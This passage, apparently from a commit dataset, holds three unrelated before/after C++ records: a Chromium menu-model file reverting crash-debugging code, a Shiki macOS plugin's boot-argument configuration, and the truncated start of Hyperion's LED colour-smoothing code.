TYPE_SEPARATOR, -1,\n                NULL, NULL, kMagicIdAlive };\n  InsertItemAtIndex(item, index);\n}\n\nvoid SimpleMenuModel::InsertCheckItemAt(\n    int index, int command_id, const string16& label) {\n  Item item = { command_id, label, SkBitmap(), TYPE_CHECK, -1, NULL, NULL,\n                kMagicIdAlive };\n  InsertItemAtIndex(item, index);\n}\n\nvoid SimpleMenuModel::InsertCheckItemWithStringIdAt(\n    int index, int command_id, int string_id) {\n  InsertCheckItemAt(\n      FlipIndex(index), command_id, l10n_util::GetStringUTF16(string_id));\n}\n\nvoid SimpleMenuModel::InsertRadioItemAt(\n    int index, int command_id, const string16& label, int group_id) {\n  Item item = { command_id, label, SkBitmap(), TYPE_RADIO, group_id, NULL,\n                NULL, kMagicIdAlive };\n  InsertItemAtIndex(item, index);\n}\n\nvoid SimpleMenuModel::InsertRadioItemWithStringIdAt(\n    int index, int command_id, int string_id, int group_id) {\n  InsertRadioItemAt(\n      index, command_id, l10n_util::GetStringUTF16(string_id), group_id);\n}\n\nvoid SimpleMenuModel::InsertSubMenuAt(\n    int index, int command_id, const string16& label, MenuModel* model) {\n  Item item = { command_id, label, SkBitmap(), TYPE_SUBMENU, -1, model, NULL,\n                kMagicIdAlive };\n  InsertItemAtIndex(item, index);\n}\n\nvoid SimpleMenuModel::InsertSubMenuWithStringIdAt(\n    int index, int command_id, int string_id, MenuModel* model) {\n  InsertSubMenuAt(index, command_id, l10n_util::GetStringUTF16(string_id),\n                  model);\n}\n\nvoid SimpleMenuModel::SetIcon(int index, const SkBitmap& icon) {\n  items_[index].icon = icon;\n}\n\nvoid SimpleMenuModel::Clear() {\n  items_.clear();\n}\n\nint SimpleMenuModel::GetIndexOfCommandId(int command_id) {\n  std::vector<Item>::iterator itr;\n  for (itr = items_.begin(); itr != items_.end(); itr++) {\n    if ((*itr).command_id == command_id) {\n      return FlipIndex(static_cast<int>(std::distance(items_.begin(), itr)));\n    }\n  }\n  return -1;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SimpleMenuModel, MenuModel implementation:\n\nbool SimpleMenuModel::HasIcons() const {\n  for (std::vector<Item>::const_iterator iter = items_.begin();\n       iter != items_.end(); ++iter) {\n    if (!iter->icon.isNull())\n      return true;\n  }\n\n  return false;\n}\n\nint SimpleMenuModel::GetItemCount() const {\n  return static_cast<int>(items_.size());\n}\n\nMenuModel::ItemType SimpleMenuModel::GetTypeAt(int index) const {\n  return items_.at(FlipIndex(index)).type;\n}\n\nint SimpleMenuModel::GetCommandIdAt(int index) const {\n  return items_.at(FlipIndex(index)).command_id;\n}\n\nstring16 SimpleMenuModel::GetLabelAt(int index) const {\n  if (IsItemDynamicAt(index))\n    return delegate_->GetLabelForCommandId(GetCommandIdAt(index));\n  return items_.at(FlipIndex(index)).label;\n}\n\nbool SimpleMenuModel::IsItemDynamicAt(int index) const {\n  if (delegate_)\n    return delegate_->IsItemForCommandIdDynamic(GetCommandIdAt(index));\n  return false;\n}\n\nbool SimpleMenuModel::GetAcceleratorAt(int index,\n                                       ui::Accelerator* accelerator) const {\n  if (delegate_) {\n    return delegate_->GetAcceleratorForCommandId(GetCommandIdAt(index),\n                                                 accelerator);\n  }\n  return false;\n}\n\nbool SimpleMenuModel::IsItemCheckedAt(int index) const {\n  if (!delegate_)\n    return false;\n  int item_index = FlipIndex(index);\n  MenuModel::ItemType item_type = items_[item_index].type;\n  return (item_type == TYPE_CHECK || item_type == TYPE_RADIO) ?\n      delegate_->IsCommandIdChecked(GetCommandIdAt(index)) : false;\n}\n\nint SimpleMenuModel::GetGroupIdAt(int index) const {\n  return items_.at(FlipIndex(index)).group_id;\n}\n\nbool SimpleMenuModel::GetIconAt(int index, SkBitmap* icon) {\n  if (IsItemDynamicAt(index))\n    return delegate_->GetIconForCommandId(GetCommandIdAt(index), icon);\n\n  if (items_[index].icon.isNull())\n    return false;\n\n  *icon = items_[index].icon;\n  return true;\n}\n\nButtonMenuItemModel* SimpleMenuModel::GetButtonMenuItemAt(int index) const {\n  return items_.at(FlipIndex(index)).button_model;\n}\n\nbool SimpleMenuModel::IsEnabledAt(int index) const {\n  int command_id = GetCommandIdAt(index);\n  if (!delegate_ || command_id == kSeparatorId ||\n      items_.at(FlipIndex(index)).button_model)\n    return true;\n  return delegate_->IsCommandIdEnabled(command_id);\n}\n\nbool SimpleMenuModel::IsVisibleAt(int index) const {\n  int command_id = GetCommandIdAt(index);\n  if (!delegate_ || command_id == kSeparatorId ||\n      items_.at(FlipIndex(index)).button_model)\n    return true;\n  return delegate_->IsCommandIdVisible(command_id);\n}\n\nvoid SimpleMenuModel::HighlightChangedTo(int index) {\n  if (delegate_)\n    delegate_->CommandIdHighlighted(GetCommandIdAt(index));\n}\n\nvoid SimpleMenuModel::ActivatedAt(int index) {\n  if (delegate_)\n    delegate_->ExecuteCommand(GetCommandIdAt(index));\n}\n\nvoid SimpleMenuModel::ActivatedAt(int index, int event_flags) {\n  if (delegate_)\n    delegate_->ExecuteCommand(GetCommandIdAt(index), event_flags);\n}\n\nMenuModel* SimpleMenuModel::GetSubmenuModelAt(int index) const {\n  return items_.at(FlipIndex(index)).submenu;\n}\n\nvoid SimpleMenuModel::MenuWillShow() {\n  if (delegate_)\n    delegate_->MenuWillShow(this);\n}\n\nvoid SimpleMenuModel::MenuClosed() {\n  \/\/ Due to how menus work on the different platforms, ActivatedAt will be\n  \/\/ called after this.  It's more convenient for the delegate to be called\n  \/\/ afterwards though, so post a task.\n  MessageLoop::current()->PostTask(\n      FROM_HERE,\n      method_factory_.NewRunnableMethod(&SimpleMenuModel::OnMenuClosed));\n}\n\nvoid SimpleMenuModel::SetMenuModelDelegate(\n      ui::MenuModelDelegate* menu_model_delegate) {\n  menu_model_delegate_ = menu_model_delegate;\n}\n\nvoid SimpleMenuModel::OnMenuClosed() {\n  if (delegate_)\n    delegate_->MenuClosed(this);\n}\n\nint SimpleMenuModel::FlipIndex(int index) const {\n  return index;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SimpleMenuModel, Private:\n\nvoid SimpleMenuModel::AppendItem(const Item& item) {\n  ValidateItem(item);\n  items_.push_back(item);\n}\n\nvoid SimpleMenuModel::InsertItemAtIndex(const Item& item, int index) {\n  ValidateItem(item);\n  items_.insert(items_.begin() + FlipIndex(index), item);\n}\n\nvoid SimpleMenuModel::ValidateItem(const Item& item) {\n#ifndef NDEBUG\n  if (item.type == TYPE_SEPARATOR) {\n    DCHECK_EQ(item.command_id, kSeparatorId);\n  } else {\n    DCHECK_GE(item.command_id, 0);\n  }\n#endif  \/\/ NDEBUG\n}\n\n}  \/\/ namespace ui\n<commit_msg>Reverts debugging code that was added to find a crasher. Crash went away.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"ui\/base\/models\/simple_menu_model.h\"\n\n#include \"base\/message_loop.h\"\n#include \"third_party\/skia\/include\/core\/SkBitmap.h\"\n#include \"ui\/base\/l10n\/l10n_util.h\"\n\nnamespace ui {\n\nconst int kSeparatorId = -1;\n\nstruct SimpleMenuModel::Item {\n  int command_id;\n  string16 label;\n  SkBitmap icon;\n  ItemType type;\n  int group_id;\n  MenuModel* submenu;\n  ButtonMenuItemModel* button_model;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SimpleMenuModel::Delegate, public:\n\nbool SimpleMenuModel::Delegate::IsCommandIdVisible(int command_id) const {\n  return true;\n}\n\nbool SimpleMenuModel::Delegate::IsItemForCommandIdDynamic(\n    int command_id) const {\n  return false;\n}\n\nstring16 SimpleMenuModel::Delegate::GetLabelForCommandId(int command_id) const {\n  return string16();\n}\n\nbool SimpleMenuModel::Delegate::GetIconForCommandId(\n    int command_id, SkBitmap* bitmap) const {\n  return false;\n}\n\nvoid SimpleMenuModel::Delegate::CommandIdHighlighted(int command_id) {\n}\n\nvoid SimpleMenuModel::Delegate::ExecuteCommand(\n    int command_id, int event_flags) {\n  ExecuteCommand(command_id);\n}\n\nvoid SimpleMenuModel::Delegate::MenuWillShow(SimpleMenuModel* \/*source*\/) {\n}\n\nvoid SimpleMenuModel::Delegate::MenuClosed(SimpleMenuModel* \/*source*\/) {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SimpleMenuModel, public:\n\nSimpleMenuModel::SimpleMenuModel(Delegate* delegate)\n    : delegate_(delegate),\n      menu_model_delegate_(NULL),\n      ALLOW_THIS_IN_INITIALIZER_LIST(method_factory_(this)) {\n}\n\nSimpleMenuModel::~SimpleMenuModel() {\n}\n\nvoid SimpleMenuModel::AddItem(int command_id, const string16& label) {\n  Item item = { command_id, label, SkBitmap(), TYPE_COMMAND, -1, NULL, NULL };\n  AppendItem(item);\n}\n\nvoid SimpleMenuModel::AddItemWithStringId(int command_id, int string_id) {\n  AddItem(command_id, l10n_util::GetStringUTF16(string_id));\n}\n\nvoid SimpleMenuModel::AddSeparator() {\n  Item item = { kSeparatorId, string16(), SkBitmap(), TYPE_SEPARATOR, -1,\n                NULL, NULL };\n  AppendItem(item);\n}\n\nvoid SimpleMenuModel::AddCheckItem(int command_id, const string16& label) {\n  Item item = { command_id, label, SkBitmap(), TYPE_CHECK, -1, NULL, NULL };\n  AppendItem(item);\n}\n\nvoid SimpleMenuModel::AddCheckItemWithStringId(int command_id, int string_id) {\n  AddCheckItem(command_id, l10n_util::GetStringUTF16(string_id));\n}\n\nvoid SimpleMenuModel::AddRadioItem(int command_id, const string16& label,\n                                   int group_id) {\n  Item item = { command_id, label, SkBitmap(), TYPE_RADIO, group_id, NULL,\n                NULL };\n  AppendItem(item);\n}\n\nvoid SimpleMenuModel::AddRadioItemWithStringId(int command_id, int string_id,\n                                               int group_id) {\n  AddRadioItem(command_id, l10n_util::GetStringUTF16(string_id), group_id);\n}\n\nvoid SimpleMenuModel::AddButtonItem(int command_id,\n                                    ButtonMenuItemModel* model) {\n  Item item = { command_id, string16(), SkBitmap(), TYPE_BUTTON_ITEM, -1, NULL,\n                model };\n  AppendItem(item);\n}\n\nvoid SimpleMenuModel::AddSubMenu(int command_id, const string16& label,\n                                 MenuModel* model) {\n  Item item = { command_id, label, SkBitmap(), TYPE_SUBMENU, -1, model, NULL };\n  AppendItem(item);\n}\n\nvoid SimpleMenuModel::AddSubMenuWithStringId(int command_id,\n                                             int string_id, MenuModel* model) {\n  AddSubMenu(command_id, l10n_util::GetStringUTF16(string_id), model);\n}\n\nvoid SimpleMenuModel::InsertItemAt(\n    int index, int command_id, const string16& label) {\n  Item item = { command_id, label, SkBitmap(), TYPE_COMMAND, -1, NULL, NULL };\n  InsertItemAtIndex(item, index);\n}\n\nvoid SimpleMenuModel::InsertItemWithStringIdAt(\n    int index, int command_id, int string_id) {\n  InsertItemAt(index, command_id, l10n_util::GetStringUTF16(string_id));\n}\n\nvoid SimpleMenuModel::InsertSeparatorAt(int index) {\n  Item item = { kSeparatorId, string16(), SkBitmap(), TYPE_SEPARATOR, -1,\n                NULL, NULL };\n  InsertItemAtIndex(item, index);\n}\n\nvoid SimpleMenuModel::InsertCheckItemAt(\n    int index, int command_id, const string16& label) {\n  Item item = { command_id, label, SkBitmap(), TYPE_CHECK, -1, NULL, NULL };\n  InsertItemAtIndex(item, index);\n}\n\nvoid SimpleMenuModel::InsertCheckItemWithStringIdAt(\n    int index, int command_id, int string_id) {\n  InsertCheckItemAt(\n      FlipIndex(index), command_id, l10n_util::GetStringUTF16(string_id));\n}\n\nvoid SimpleMenuModel::InsertRadioItemAt(\n    int index, int command_id, const string16& label, int group_id) {\n  Item item = { command_id, label, SkBitmap(), TYPE_RADIO, group_id, NULL,\n                NULL };\n  InsertItemAtIndex(item, index);\n}\n\nvoid SimpleMenuModel::InsertRadioItemWithStringIdAt(\n    int index, int command_id, int string_id, int group_id) {\n  InsertRadioItemAt(\n      index, command_id, l10n_util::GetStringUTF16(string_id), group_id);\n}\n\nvoid SimpleMenuModel::InsertSubMenuAt(\n    int index, int command_id, const string16& label, MenuModel* model) {\n  Item item = { command_id, label, SkBitmap(), TYPE_SUBMENU, -1, model, NULL };\n  InsertItemAtIndex(item, index);\n}\n\nvoid SimpleMenuModel::InsertSubMenuWithStringIdAt(\n    int index, int command_id, int string_id, MenuModel* model) {\n  InsertSubMenuAt(index, command_id, l10n_util::GetStringUTF16(string_id),\n                  model);\n}\n\nvoid SimpleMenuModel::SetIcon(int index, const SkBitmap& icon) {\n  items_[index].icon = icon;\n}\n\nvoid SimpleMenuModel::Clear() {\n  items_.clear();\n}\n\nint SimpleMenuModel::GetIndexOfCommandId(int command_id) {\n  std::vector<Item>::iterator itr;\n  for (itr = items_.begin(); itr != items_.end(); itr++) {\n    if ((*itr).command_id == command_id) {\n      return FlipIndex(static_cast<int>(std::distance(items_.begin(), itr)));\n    }\n  }\n  return -1;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SimpleMenuModel, MenuModel implementation:\n\nbool SimpleMenuModel::HasIcons() const {\n  for (std::vector<Item>::const_iterator iter = items_.begin();\n       iter != items_.end(); ++iter) {\n    if (!iter->icon.isNull())\n      return true;\n  }\n\n  return false;\n}\n\nint SimpleMenuModel::GetItemCount() const {\n  return static_cast<int>(items_.size());\n}\n\nMenuModel::ItemType SimpleMenuModel::GetTypeAt(int index) const {\n  return items_.at(FlipIndex(index)).type;\n}\n\nint SimpleMenuModel::GetCommandIdAt(int index) const {\n  return items_.at(FlipIndex(index)).command_id;\n}\n\nstring16 SimpleMenuModel::GetLabelAt(int index) const {\n  if (IsItemDynamicAt(index))\n    return delegate_->GetLabelForCommandId(GetCommandIdAt(index));\n  return items_.at(FlipIndex(index)).label;\n}\n\nbool SimpleMenuModel::IsItemDynamicAt(int index) const {\n  if (delegate_)\n    return delegate_->IsItemForCommandIdDynamic(GetCommandIdAt(index));\n  return false;\n}\n\nbool SimpleMenuModel::GetAcceleratorAt(int index,\n                                       ui::Accelerator* accelerator) const {\n  if (delegate_) {\n    return delegate_->GetAcceleratorForCommandId(GetCommandIdAt(index),\n                                                 accelerator);\n  }\n  return false;\n}\n\nbool SimpleMenuModel::IsItemCheckedAt(int index) const {\n  if (!delegate_)\n    return false;\n  int item_index = FlipIndex(index);\n  MenuModel::ItemType item_type = items_[item_index].type;\n  return (item_type == TYPE_CHECK || item_type == TYPE_RADIO) ?\n      delegate_->IsCommandIdChecked(GetCommandIdAt(index)) : false;\n}\n\nint SimpleMenuModel::GetGroupIdAt(int index) const {\n  return items_.at(FlipIndex(index)).group_id;\n}\n\nbool SimpleMenuModel::GetIconAt(int index, SkBitmap* icon) {\n  if (IsItemDynamicAt(index))\n    return delegate_->GetIconForCommandId(GetCommandIdAt(index), icon);\n\n  if (items_[index].icon.isNull())\n    return false;\n\n  *icon = items_[index].icon;\n  return true;\n}\n\nButtonMenuItemModel* SimpleMenuModel::GetButtonMenuItemAt(int index) const {\n  return items_.at(FlipIndex(index)).button_model;\n}\n\nbool SimpleMenuModel::IsEnabledAt(int index) const {\n  int command_id = GetCommandIdAt(index);\n  if (!delegate_ || command_id == kSeparatorId ||\n      items_.at(FlipIndex(index)).button_model)\n    return true;\n  return delegate_->IsCommandIdEnabled(command_id);\n}\n\nbool SimpleMenuModel::IsVisibleAt(int index) const {\n  int command_id = GetCommandIdAt(index);\n  if (!delegate_ || command_id == kSeparatorId ||\n      items_.at(FlipIndex(index)).button_model)\n    return true;\n  return delegate_->IsCommandIdVisible(command_id);\n}\n\nvoid SimpleMenuModel::HighlightChangedTo(int index) {\n  if (delegate_)\n    delegate_->CommandIdHighlighted(GetCommandIdAt(index));\n}\n\nvoid SimpleMenuModel::ActivatedAt(int index) {\n  if (delegate_)\n    delegate_->ExecuteCommand(GetCommandIdAt(index));\n}\n\nvoid SimpleMenuModel::ActivatedAt(int index, int event_flags) {\n  if (delegate_)\n    delegate_->ExecuteCommand(GetCommandIdAt(index), event_flags);\n}\n\nMenuModel* SimpleMenuModel::GetSubmenuModelAt(int index) const {\n  return items_.at(FlipIndex(index)).submenu;\n}\n\nvoid SimpleMenuModel::MenuWillShow() {\n  if (delegate_)\n    delegate_->MenuWillShow(this);\n}\n\nvoid SimpleMenuModel::MenuClosed() {\n  \/\/ Due to how menus work on the different platforms, ActivatedAt will be\n  \/\/ called after this.  It's more convenient for the delegate to be called\n  \/\/ afterwards though, so post a task.\n  MessageLoop::current()->PostTask(\n      FROM_HERE,\n      method_factory_.NewRunnableMethod(&SimpleMenuModel::OnMenuClosed));\n}\n\nvoid SimpleMenuModel::SetMenuModelDelegate(\n      ui::MenuModelDelegate* menu_model_delegate) {\n  menu_model_delegate_ = menu_model_delegate;\n}\n\nvoid SimpleMenuModel::OnMenuClosed() {\n  if (delegate_)\n    delegate_->MenuClosed(this);\n}\n\nint SimpleMenuModel::FlipIndex(int index) const {\n  return index;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SimpleMenuModel, Private:\n\nvoid SimpleMenuModel::AppendItem(const Item& item) {\n  ValidateItem(item);\n  items_.push_back(item);\n}\n\nvoid SimpleMenuModel::InsertItemAtIndex(const Item& item, int index) {\n  ValidateItem(item);\n  items_.insert(items_.begin() + FlipIndex(index), item);\n}\n\nvoid SimpleMenuModel::ValidateItem(const Item& item) {\n#ifndef NDEBUG\n  if (item.type == TYPE_SEPARATOR) {\n    DCHECK_EQ(item.command_id, kSeparatorId);\n  } else {\n    DCHECK_GE(item.command_id, 0);\n  }\n#endif  \/\/ NDEBUG\n}\n\n}  \/\/ namespace ui\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  kern_start.cpp\n\/\/  Shiki\n\/\/\n\/\/  Copyright © 2016-2017 vit9696. All rights reserved.\n\/\/\n\n#include <Headers\/plugin_start.hpp>\n#include <Headers\/kern_api.hpp>\n\n#include \"kern_resources.hpp\"\n\nstatic void disableSection(uint32_t section) {\n\tfor (size_t i = 0; i < ADDPR(procInfoSize); i++) {\n\t\tif (ADDPR(procInfo)[i].section == section) {\n\t\t\tADDPR(procInfo)[i].section = SectionUnused;\n\t\t}\n\t}\n\t\n\tfor (size_t i = 0; i < ADDPR(binaryModSize); i++) {\n\t\tauto patches = ADDPR(binaryMod)[i].patches;\n\t\tfor (size_t j = 0; j < ADDPR(binaryMod)[i].count; j++) {\n\t\t\tif (patches[j].section == section) {\n\t\t\t\tpatches[j].section = SectionUnused;\n\t\t\t}\n\t\t}\n\t}\n}\n\nstatic void shikiStart() {\n\t\/\/ Attempt to support fps.1_0 in Safari\n\tchar tmp[16];\n\tbool patchStreamVideo = PE_parse_boot_argn(\"-shikifps\", tmp, sizeof(tmp));\n\tbool leaveForceAccelRenderer = true;\n\tbool leaveBGRASupport = true;\n\t\n\tif (PE_parse_boot_argn(\"shikigva\", tmp, sizeof(tmp))) {\n\t\tleaveForceAccelRenderer = !(tmp[0] & 1);\n\t\tleaveBGRASupport = !(tmp[0] & 2);\n\t}\n\t\n\tif (PE_parse_boot_argn(\"-shikigva\", tmp, sizeof(tmp))) {\n\t\tSYSLOG(\"shiki\", \"-shikigva is deprecated use shikgva=1 instead\");\n\t\tleaveForceAccelRenderer = false;\n\t}\n\t\n\t\n\t\/\/ Disable unused SectionFSTREAM\n\tif (!patchStreamVideo)\n\t\tdisableSection(SectionNSTREAM);\n\t\n\tif (leaveForceAccelRenderer)\n\t\tdisableSection(SectionOFFLINE);\n\t\n\tif (leaveBGRASupport)\n\t\tdisableSection(SectionBGRA);\n\t\n\tlilu.onProcLoad(ADDPR(procInfo), ADDPR(procInfoSize), nullptr, nullptr, ADDPR(binaryMod), ADDPR(binaryModSize));\n}\n\nstatic const char *bootargOff[] {\n\t\"-shikioff\",\n\t\/\/ Additionally disable during recovery\/installation\n\t\"rp0\",\n\t\"rp\",\n\t\"container-dmg\",\n\t\"root-dmg\",\n\t\"auth-root-dmg\",\n\t\/\/ As well as safe mode\n\t\"-x\"\n};\n\nstatic const char *bootargDebug[] {\n\t\"-shikidbg\"\n};\n\nstatic const char *bootargBeta[] {\n\t\"-shikibeta\"\n};\n\nPluginConfiguration ADDPR(config) {\n\txStringify(PRODUCT_NAME),\n\tparseModuleVersion(xStringify(MODULE_VERSION)),\n\tbootargOff,\n\tarrsize(bootargOff),\n\tbootargDebug,\n\tarrsize(bootargDebug),\n\tbootargBeta,\n\tarrsize(bootargBeta),\n\tKernelVersion::Mavericks,\n\tKernelVersion::HighSierra,\n\tshikiStart\n};\n<commit_msg>Update plugin requirements for 1.2.0<commit_after>\/\/\n\/\/  kern_start.cpp\n\/\/  Shiki\n\/\/\n\/\/  Copyright © 2016-2017 vit9696. All rights reserved.\n\/\/\n\n#include <Headers\/plugin_start.hpp>\n#include <Headers\/kern_api.hpp>\n\n#include \"kern_resources.hpp\"\n\nstatic void disableSection(uint32_t section) {\n\tfor (size_t i = 0; i < ADDPR(procInfoSize); i++) {\n\t\tif (ADDPR(procInfo)[i].section == section) {\n\t\t\tADDPR(procInfo)[i].section = SectionUnused;\n\t\t}\n\t}\n\t\n\tfor (size_t i = 0; i < ADDPR(binaryModSize); i++) {\n\t\tauto patches = ADDPR(binaryMod)[i].patches;\n\t\tfor (size_t j = 0; j < ADDPR(binaryMod)[i].count; j++) {\n\t\t\tif (patches[j].section == section) {\n\t\t\t\tpatches[j].section = SectionUnused;\n\t\t\t}\n\t\t}\n\t}\n}\n\nstatic void shikiStart() {\n\t\/\/ Attempt to support fps.1_0 in Safari\n\tchar tmp[16];\n\tbool patchStreamVideo = PE_parse_boot_argn(\"-shikifps\", tmp, sizeof(tmp));\n\tbool leaveForceAccelRenderer = true;\n\tbool leaveBGRASupport = true;\n\t\n\tif (PE_parse_boot_argn(\"shikigva\", tmp, sizeof(tmp))) {\n\t\tleaveForceAccelRenderer = !(tmp[0] & 1);\n\t\tleaveBGRASupport = !(tmp[0] & 2);\n\t}\n\t\n\tif (PE_parse_boot_argn(\"-shikigva\", tmp, sizeof(tmp))) {\n\t\tSYSLOG(\"shiki\", \"-shikigva is deprecated use shikgva=1 instead\");\n\t\tleaveForceAccelRenderer = false;\n\t}\n\t\n\t\n\t\/\/ Disable unused SectionFSTREAM\n\tif (!patchStreamVideo)\n\t\tdisableSection(SectionNSTREAM);\n\t\n\tif (leaveForceAccelRenderer)\n\t\tdisableSection(SectionOFFLINE);\n\t\n\tif (leaveBGRASupport)\n\t\tdisableSection(SectionBGRA);\n\t\n\tlilu.onProcLoad(ADDPR(procInfo), ADDPR(procInfoSize), nullptr, nullptr, ADDPR(binaryMod), ADDPR(binaryModSize));\n}\n\nstatic const char *bootargOff[] {\n\t\"-shikioff\"\n};\n\nstatic const char *bootargDebug[] {\n\t\"-shikidbg\"\n};\n\nstatic const char *bootargBeta[] {\n\t\"-shikibeta\"\n};\n\nPluginConfiguration ADDPR(config) {\n\txStringify(PRODUCT_NAME),\n\tparseModuleVersion(xStringify(MODULE_VERSION)),\n\tLiluAPI::AllowNormal,\n\tbootargOff,\n\tarrsize(bootargOff),\n\tbootargDebug,\n\tarrsize(bootargDebug),\n\tbootargBeta,\n\tarrsize(bootargBeta),\n\tKernelVersion::Mavericks,\n\tKernelVersion::HighSierra,\n\tshikiStart\n};\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Qt includes\n#include <QDateTime>\n#include <QTimer>\n\n#include \"LinearColorSmoothing.h\"\n#include <hyperion\/Hyperion.h>\n\n#include <cmath>\n\nusing namespace hyperion;\n\nconst int64_t  DEFAUL_SETTLINGTIME    = 200;\t\/\/ settlingtime in ms\nconst double   DEFAUL_UPDATEFREQUENCY = 25;\t\/\/ updatefrequncy in hz\nconst int64_t  DEFAUL_UPDATEINTERVALL = static_cast<int64_t>(1000 \/ DEFAUL_UPDATEFREQUENCY); \/\/ updateintervall in ms\nconst unsigned DEFAUL_OUTPUTDEPLAY    = 0;\t\/\/ outputdelay in ms\n\nLinearColorSmoothing::LinearColorSmoothing(const QJsonDocument& config, Hyperion* hyperion)\n\t: QObject(hyperion)\n\t, _log(Logger::getInstance(\"SMOOTHING\"))\n\t, _hyperion(hyperion)\n\t, _updateInterval(DEFAUL_UPDATEINTERVALL)\n\t, _settlingTime(DEFAUL_SETTLINGTIME)\n\t, _timer(new QTimer(this))\n\t, _outputDelay(DEFAUL_OUTPUTDEPLAY)\n\t, _writeToLedsEnable(false)\n\t, _continuousOutput(false)\n\t, _pause(false)\n\t, _currentConfigId(0)\n\t, _enabled(false)\n{\n\t\/\/ init cfg 0 (default)\n\taddConfig(DEFAUL_SETTLINGTIME, DEFAUL_UPDATEFREQUENCY, DEFAUL_OUTPUTDEPLAY);\n\thandleSettingsUpdate(settings::SMOOTHING, config);\n\tselectConfig(0, true);\n\n\t\/\/ add pause on cfg 1\n\tSMOOTHING_CFG cfg = {true, 0, 0, 0};\n\t_cfgList.append(cfg);\n\n\t\/\/ listen for comp changes\n\tconnect(_hyperion, &Hyperion::compStateChangeRequest, this, &LinearColorSmoothing::componentStateChange);\n\t\/\/ timer\n\tconnect(_timer, &QTimer::timeout, this, &LinearColorSmoothing::updateLeds);\n}\n\nvoid LinearColorSmoothing::handleSettingsUpdate(const settings::type& type, const QJsonDocument& config)\n{\n\tif(type == settings::SMOOTHING)\n\t{\n\t\t\/\/\tstd::cout << \"LinearColorSmoothing::handleSettingsUpdate\" << std::endl;\n\t\t\/\/\tstd::cout << config.toJson().toStdString() << std::endl;\n\n\t\tQJsonObject obj = config.object();\n\t\tif(enabled() != obj[\"enable\"].toBool(true))\n\t\t\tsetEnable(obj[\"enable\"].toBool(true));\n\n\t\t_continuousOutput = obj[\"continuousOutput\"].toBool(true);\n\n\t\tSMOOTHING_CFG cfg = {false,\n\t\t\t\t\t\t\t static_cast<int64_t>(obj[\"time_ms\"].toInt(DEFAUL_SETTLINGTIME)),\n\t\t\t\t\t\t\t static_cast<int64_t>(1000.0\/obj[\"updateFrequency\"].toDouble(DEFAUL_UPDATEFREQUENCY)),\n\t\t\t\t\t\t\t static_cast<unsigned>(obj[\"updateDelay\"].toInt(DEFAUL_OUTPUTDEPLAY))\n\t\t\t\t\t\t\t};\n\t\t\/\/Debug( _log, \"smoothing cfg_id %d: pause: %d bool, settlingTime: %d ms, interval: %d ms (%u Hz), updateDelay: %u frames\",  _currentConfigId, cfg.pause, cfg.settlingTime, cfg.updateInterval, unsigned(1000.0\/cfg.updateInterval), cfg.outputDelay );\n\t\t_cfgList[0] = cfg;\n\n\t\t\/\/ if current id is 0, we need to apply the settings (forced)\n\t\tif( _currentConfigId == 0)\n\t\t{\n\t\t\t\/\/Debug( _log, \"_currentConfigId == 0\");\n\t\t\tselectConfig(0, true);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/Debug( _log, \"_currentConfigId != 0\");\n\t\t}\n\t}\n}\n\nint LinearColorSmoothing::write(const std::vector<ColorRgb> &ledValues)\n{\n\t\/\/ received a new target color\n\tif (_previousValues.empty())\n\t{\n\t\t\/\/ not initialized yet\n\t\t_targetTime = QDateTime::currentMSecsSinceEpoch() + _settlingTime;\n\t\t_targetValues = ledValues;\n\n\t\t_previousTime = QDateTime::currentMSecsSinceEpoch();\n\t\t_previousValues = ledValues;\n\n\t\t\/\/Debug( _log, \"Start Smoothing timer: settlingTime: %d ms, interval: %d ms (%u Hz), updateDelay: %u frames\", _settlingTime, _updateInterval, unsigned(1000.0\/_updateInterval), _outputDelay );\n\t\tQMetaObject::invokeMethod(_timer, \"start\", Qt::QueuedConnection, Q_ARG(int, _updateInterval));\n\t}\n\telse\n\t{\n\t\t\/\/std::cout << \"LinearColorSmoothing::write> \"; LedDevice::printLedValues ( ledValues );\n\n\t\t_targetTime = QDateTime::currentMSecsSinceEpoch() + _settlingTime;\n\t\tmemcpy(_targetValues.data(), ledValues.data(), ledValues.size() * sizeof(ColorRgb));\n\n\t\t\/\/std::cout << \"LinearColorSmoothing::write> _targetValues: \"; LedDevice::printLedValues ( _targetValues );\n\t}\n\n\treturn 0;\n}\n\nint LinearColorSmoothing::updateLedValues(const 